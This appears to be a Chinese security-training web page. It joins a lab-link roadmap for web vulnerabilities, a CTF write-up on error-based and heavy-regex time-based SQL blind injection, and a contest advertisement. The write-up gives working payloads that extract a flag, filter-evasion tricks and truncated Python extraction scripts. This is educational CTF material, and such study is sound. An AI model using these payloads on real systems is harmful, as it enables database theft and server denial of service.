在学习XXE前,应该熟悉XML语言,否则很难研究好XXE。
XXE漏洞攻击与防御:
http://www.yijinglab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2&包括对XXE漏洞的分析与相关组件XXE漏洞学习:
九、解析漏洞
Apache解析漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015120111342100001了解解析漏洞原理,常用的攻击方法以及有效的防御手段。
Nginx解析漏洞:
http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021910351300001
IIS解析漏洞在fckEditor上传攻击中的利用:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015102217243800001通过实验学习IIS6.0中的解析漏洞,掌握IIS6.0解析漏洞在fckEditor上传攻击中的利用方法。
十、身份认证与访问控制
统一身份认证:
http://www.yijinglab.com/expc.do?ec=ECIDb263-0747-4118-9d51-c33f31691cb7判断一个用户是否为合法用户的处理过程。
非授权访问:
http://www.yijinglab.com/expc.do?ec=ECIDa2d4-e095-420a-9709-21e18a531479包括非法用户进入网络或系统进行违法操作,合法用户以未授权的方式进行操作。
Jenkins未授权访问漏洞利用实践:
十一、反序列化
包括PHP反序列化、Java反序列化、Python反序列化等。
PHP反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001了解什么是反序列化漏洞,其成因以及如何挖掘和预防反序列化漏洞。
Java反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111916202700001以ApacheCommons Collections3为例,分析和复现Java反序列化漏洞。
Python反序列化漏洞:
http://www.yijinglab.com/expc.do?ec=ECID7eab-0fb2-4f21-96df-5c1f912e5572了解Python反序列化漏洞产生的机理,增强安全意识。
十二、Web框架/应用安全
前面提到了Struts2、React、Django、thinkPHP等开发框架,jQuery、Bootstrap、HTML5、semanticUI、Pure等前端框架,以及discuz、metinfo、Joomla等各种CMS。
Struts2框架安全:
http://www.yijinglab.com/expc.do?ec=ECID218.76.35.762014021913330900001!
Struts2(s2-045)远程命令执行漏洞分析与复现:
http://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2017031012041000001!
ThinkPHP5远程代码执行漏洞:
http://www.yijinglab.com/expc.do?ce=06d28a64-2021-4cbb-a3f9-65a27bfd7ce2!
Joomla未授权创建账号/权限提升漏洞:
http://www.yijinglab.com/expc.do?ce=da5480f4-87af-412a-90f6-72b1c2cbd920!
Joomla反序列化远程代码执行漏洞:
http://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016012817294800001
BEEF框架攻击:
http://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016091409272000001&以WordPress
博客系统为基础,典型的XSS漏洞为案例,详细学习beef平台下各个模块的常用命令和攻击方法。
看到这里有没有一种怀疑人生的感觉?
不用怀疑,入门Web安全没有你们想象的那么难,弄懂上面说的这些,你还会觉得你是一个什么都不懂的小白吗?
可能大家会问,入门Web安全之后应该如何提升个人技能呢?
如果有已经入门了的朋友,或者说对Web安全有了一定的了解,想掌握更多的Web安全技能,麻烦大家在留言处吱一声,作者会根据留言情况考虑是否出一个Web安全进阶学习路线。
也麻烦还没有入门的朋友,先按照文章提到的内容一步步来。
亲亲,这边建议您点击阅读原文直接前往蚁景网安实验室进行学习呢,PC端体验更佳哟!
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
两种CTF中特殊盲注的总结
前言
Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114363500001 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。)
SQL盲注基本知识
常用基本函数
IF(expr1,expr2,expr3)
若expr1为true,则返回expr2,为false则返回expr3
SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B
ASCII(str)
返回字符串str最左面字符的ASCII值
SELECT ASCII("flag") -- 输出结果:102
ORD(str)
返回字符串str第一个字符的ASCII值
SELECT ORD("flag") -- 输出结果:102
CHAR(int)
将ASCII码值int转换成字符
SELECT CHAR(65) -- 输出结果:A
MID(str,pos,len)
从pos位置开始,截取字符串str共len个长度的字符
SELECT MID("Hello World", 3, 5) -- 输出结果:llo W
与SUBSTR(str,pos,len) 效果相同
LEFT(str,len)
返回字符串str左边部分共len个字符
SELECT LEFT("flag", 2) -- 输出结果:fl
SLEEP(duration)
duration是休眠的时长,以秒为单位,也可以是小数
SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms
REGEXP
正则表达式,用来匹配文本的特殊的串(字符集合)
SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0
其它
LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本
布尔盲注
根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2
据此可知数据库名的长度为4
时间盲注
通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应
据此可知数据库名的第一个字符为c
以下2道题目:flag在flag表的flag字段
在本地搭建靶机,用post传参,变量keywords接收
基于运行错误的布尔盲注
基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。
我们可以将其作为IF(expr1,expr2,expr3)的expr3,当expr1为true时,返回expr2,页面正常,而为false时,则会执行expr3,此时因为运行错误而页面无法正常显示。
ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即:
SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40]
ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即:
SELECT ST_X(POINT(2,3)) -- 输出结果:2
但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面
SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
P.s.
ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。
需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。
其他可用的函数:
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0);
如果题目过滤了ST,可以尝试用GeomFromText()和X(),但MySQL在5.7.6版本之后就弃用了。
NameDescriptionX() (deprecated 5.7.6)Return X coordinate of PointGeomFromText()(deprecated 5.7.6)Return geometry from WKT
当输入1、2、3等数字时,页面返回Hello World
而当输入被过滤的关键字时,网页返回No Hacker
由此可以测试一些被过滤的关键字有:
'、"、or、-、*、>、<、=、like、sleep、substr、mid、ascii、ord
然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。
而像if(0,1e9999,1),因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1)了。
此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。
用if来进行盲注,'被过滤了,用十六进制绕过。
if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))
此时页面返回Hello World。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,=和like可以用regexp代替。
构造payload:
if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
此时页面仍然返回Hello World,可以知道flag的第一个字符是char(102),也就是f
if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))
而第二个字符是char(108),也就是字符l
用python写个脚本
import requests def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")" url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = "" fo
基于巨大运算时间的时间盲注
由于在这里过滤了ST,所以以ST开头的函数会被ban,无法使用。
同时又过滤了sleep,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。
但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。
所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。
在此之前先了解几个函数
rpad(str,len,padstr)
对字符串str进行右填充,用padstr填充至str长度为len个字符
SELECT RPAD('hi', 5, '?') -- 输出结果:hi???
concat(str1,str2,...)
连接多个字符串为一个字符串
SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello
repeat(str,count)
返回字符串str重复count次后的字符串
SELECT REPEAT('ab', '3') -- 输出结果:ababab
构造payload:
1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0)
也就是说如果flag的第一个字符为f的话,则会执行下面这句语句:
rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')
rpad('a',5000000,'a')会填充为5000000个a,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b')去作正则匹配,通过巨大的运算量来延时。
这样做的话服务器可能会崩
由于题目过滤了',所以用十六进制代替
1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)
以下两种图片用get传参测试时间延迟效果
猜中flag的第一个字符时:
而如果猜第一个字符为0x01,则为false,if返回0
所以我们可以通过大量的运算时间做延迟,进行时间盲注。
但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。
所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1
脚本来自http://www.plasf.cn
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or
timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常
若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出
各位有所不知,前几天我举办了一次CTF竞赛...
2021年,我们热血开局!
1月的最后一周,我们再次见证了成长与历练。
时间:2021/1/26-1/28
事件:蚁景杯 WUST CTF2021新生赛
蚁景杯 WUST CTF2021新生赛:武汉科技大学俱乐部2021首场CTF竞赛,WEB、PWN、 MISC、CRYPTO、REVERSE五大题型迎接新生来战!
比赛为期三天,一方面考验着参赛队员的耐力值;题目类型涵盖面较广,在考验新生“学习情况”方面下足了“猛料”。
武汉科技大学俱乐部,因为热爱聚集到一块,学习从0到1的过程,响应号召,依然极客前行!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

